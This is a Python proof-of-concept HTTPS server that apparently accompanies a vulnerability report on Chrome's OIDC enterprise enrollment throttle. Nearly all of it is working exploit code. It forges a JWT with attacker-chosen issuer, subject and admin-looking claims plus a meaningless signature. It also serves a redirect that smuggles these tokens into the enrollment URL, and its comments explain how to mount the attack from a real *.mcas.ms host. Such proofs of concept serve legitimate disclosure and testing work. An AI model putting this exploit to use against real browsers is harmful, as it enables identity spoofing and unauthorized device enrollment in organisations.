#!/usr/bin/env python3
"""
POC HTTPS server: Unsigned JWT + subdomain-wildcard redirect-chain bypass
in Chrome's OIDC enterprise enrollment NavigationThrottle.

This server simulates two hosts via Chrome's --host-resolver-rules:

  attacker-app.access.mcas.ms   -> 127.0.0.1:8443  (the "trusted" hop)
  chromeenterprise.google       -> 127.0.0.1:8443  (the enrollment URL)

Flow:
  1. Chrome navigates to https://attacker-app.access.mcas.ms/start
  2. Server sends 302 -> https://chromeenterprise.google/enroll#<forged_jwt>
  3. OidcAuthResponseCaptureNavigationThrottle::WillRedirectRequest fires:
       - IsEnrollmentUrl(chromeenterprise.google/enroll) -> true
       - Redirect-chain loop matches attacker-app.access.mcas.ms against
         the *.mcas.ms subdomain wildcard -> accept_redirect=true
       - JWT split on '.', payload base64-decoded, SIGNATURE NEVER CHECKED
       - iss/sub extracted from forged payload
       - MaybeInterceptOidcAuthentication called -> dialog code path

In a real attack, the attacker controls a real *.mcas.ms host (Microsoft
Defender for Cloud Apps proxies tenant apps through <app>.<region>.mcas.ms)
and chromeenterprise.google is the real Google domain. We use host remapping
+ --ignore-certificate-errors purely as a TEST HARNESS; none of the
vulnerable logic depends on certificate validation.
"""

import base64
import http.server
import json
import os
import ssl
import subprocess
import sys
import tempfile

PORT = 8443

# ---------------------------------------------------------------------------
# Forged JWT construction.
#
# The throttle splits id_token on '.' into 3 sections and ONLY base64-decodes
# section[1] (payload). section[0] (header) is ignored. section[2] (signature)
# is NEVER cryptographically verified -- it can be any string at all.
# See oidc_auth_response_capture_navigation_throttle.cc lines ~330-347.
# ---------------------------------------------------------------------------

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode('ascii').rstrip('=')

# JWT header -- never even decoded by the throttle, but we make it look real.
FORGED_HEADER = b64url(json.dumps({"alg": "none", "typ": "JWT"}).encode())

# JWT payload -- ATTACKER-CONTROLLED iss/sub. These flow directly into
# unique_user_identifier_ in OidcAuthenticationSigninInterceptor and are
# displayed in the trusted browser-chrome enrollment dialog. No signature
# binds these claims to any real identity provider.
FORGED_PAYLOAD = b64url(json.dumps({
    "iss": "https://attacker-tenant.example/v2.0",
    "sub": "ATTACKER-CHOSEN-SUBJECT-ID-00000000",
    "upn": "spoofed-admin@target-org.example",
    "name": "Spoofed Enterprise Admin",
    "aud": "00000000-0000-0000-0000-000000000000",
    "exp": 9999999999,
    "iat": 1700000000,
}).encode())

# JWT "signature" -- garbage string. This is the core of CWE-347: Chrome
# never calls any crypto routine on jwt_sections[2]. If signature verification
# existed, this token would be rejected immediately.
FORGED_SIGNATURE = "THIS-SIGNATURE-IS-NEVER-VERIFIED-BY-CHROME"

FORGED_ID_TOKEN = f"{FORGED_HEADER}.{FORGED_PAYLOAD}.{FORGED_SIGNATURE}"

# access_token is required to be non-empty (line ~323 check) but its content
# is never inspected by the throttle.
FORGED_ACCESS_TOKEN = "FAKE_ACCESS_TOKEN_NEVER_INSPECTED"

# Full enrollment URL with the forged tokens in the fragment. The fragment
# is preserved across HTTP 302 redirects (Location header includes it) and
# is parsed client-side by the throttle via url.GetRef().
ENROLL_URL = (
    "https://chromeenterprise.google/enroll/"
    f"#access_token={FORGED_ACCESS_TOKEN}"
    "&token_type=Bearer&expires_in=5000&scope=openid"
    f"&id_token={FORGED_ID_TOKEN}"
    "&session_state=poc"
)


class Handler(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write(f"[server] {self.headers.get('Host', '?')} "
                         f"{self.path} -> {fmt % args}\n")

    def do_GET(self):
        host = self.headers.get('Host', '').split(':')[0]

        if self.path == '/start':
            # Step 1: redirect to the enrollment URL with the forged JWT in
            # the fragment.
            #
            # POSITIVE CASE (host = *.mcas.ms): in the real attack, this is
            # an attacker's M365 tenant app proxied through Microsoft Defender
            # for Cloud Apps at <app>.<region>.mcas.ms -- a host the attacker
            # controls but which matches Chrome's *.mcas.ms subdomain wildcard.
            # The browser's redirect chain becomes:
            #   [https://attacker-app.access.mcas.ms/start,
            #    https://chromeenterprise.google/enroll/#...]
            # The throttle's any-hop loop matches the FIRST entry against
            # the *.mcas.ms wildcard and accepts. -> EXPLOIT SUCCEEDS.
            #
            # NEGATIVE CONTROL (host = anything else): same forged JWT, same
            # enrollment URL, but the redirect-chain hop doesn't match the
            # trusted matcher. -> Throttle silently PROCEEDs without
            # interception. This proves the *.mcas.ms wildcard is the bypass.
            self.send_response(302)
            self.send_header('Location', ENROLL_URL)
            self.send_header('Content-Length', '0')
            self.end_headers()
            return

        if host == 'chromeenterprise.google':
            # Step 2: The throttle has already intercepted in
            # WillRedirectRequest before this body is needed, but we serve a
            # 200 so WillProcessResponse can also fire (covers both paths).
            body = b'<html><body>enroll landing (throttle already fired)</body></html>'
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.send_header('Content-Length', str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        self.send_response(404)
        self.send_header('Content-Length', '0')
        self.end_headers()


def make_self_signed_cert():
    """Generate a throwaway self-signed cert. Chrome runs with
    --ignore-certificate-errors so the cert details don't matter; in a real
    attack the *.mcas.ms host has a valid Microsoft-issued cert."""
    d = tempfile.mkdtemp(prefix='oidc-poc-')
    key = os.path.join(d, 'key.pem')
    crt = os.path.join(d, 'cert.pem')
    subprocess.run([
        'openssl', 'req', '-x509', '-newkey', 'rsa:2048',
        '-keyout', key, '-out', crt, '-days', '1', '-nodes',
        '-subj', '/CN=poc-localhost',
    ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    return crt, key


def main():
    crt, key = make_self_signed_cert()
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(crt, key)

    httpd = http.server.HTTPServer(('127.0.0.1', PORT), Handler)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)

    print(f"[server] HTTPS listening on 127.0.0.1:{PORT}", file=sys.stderr)
    print(f"[server] Forged id_token signature section: "
          f"'{FORGED_SIGNATURE}'", file=sys.stderr)
    print(f"[server] Forged id_token iss claim: "
          f"'https://attacker-tenant.example/v2.0'", file=sys.stderr)
    print(f"[server] Forged id_token sub claim: "
          f"'ATTACKER-CHOSEN-SUBJECT-ID-00000000'", file=sys.stderr)
    print(f"[server] Ready. Navigate Chrome to: "
          f"https://attacker-app.access.mcas.ms/start", file=sys.stderr)
    httpd.serve_forever()


if __name__ == '__main__':
    main()
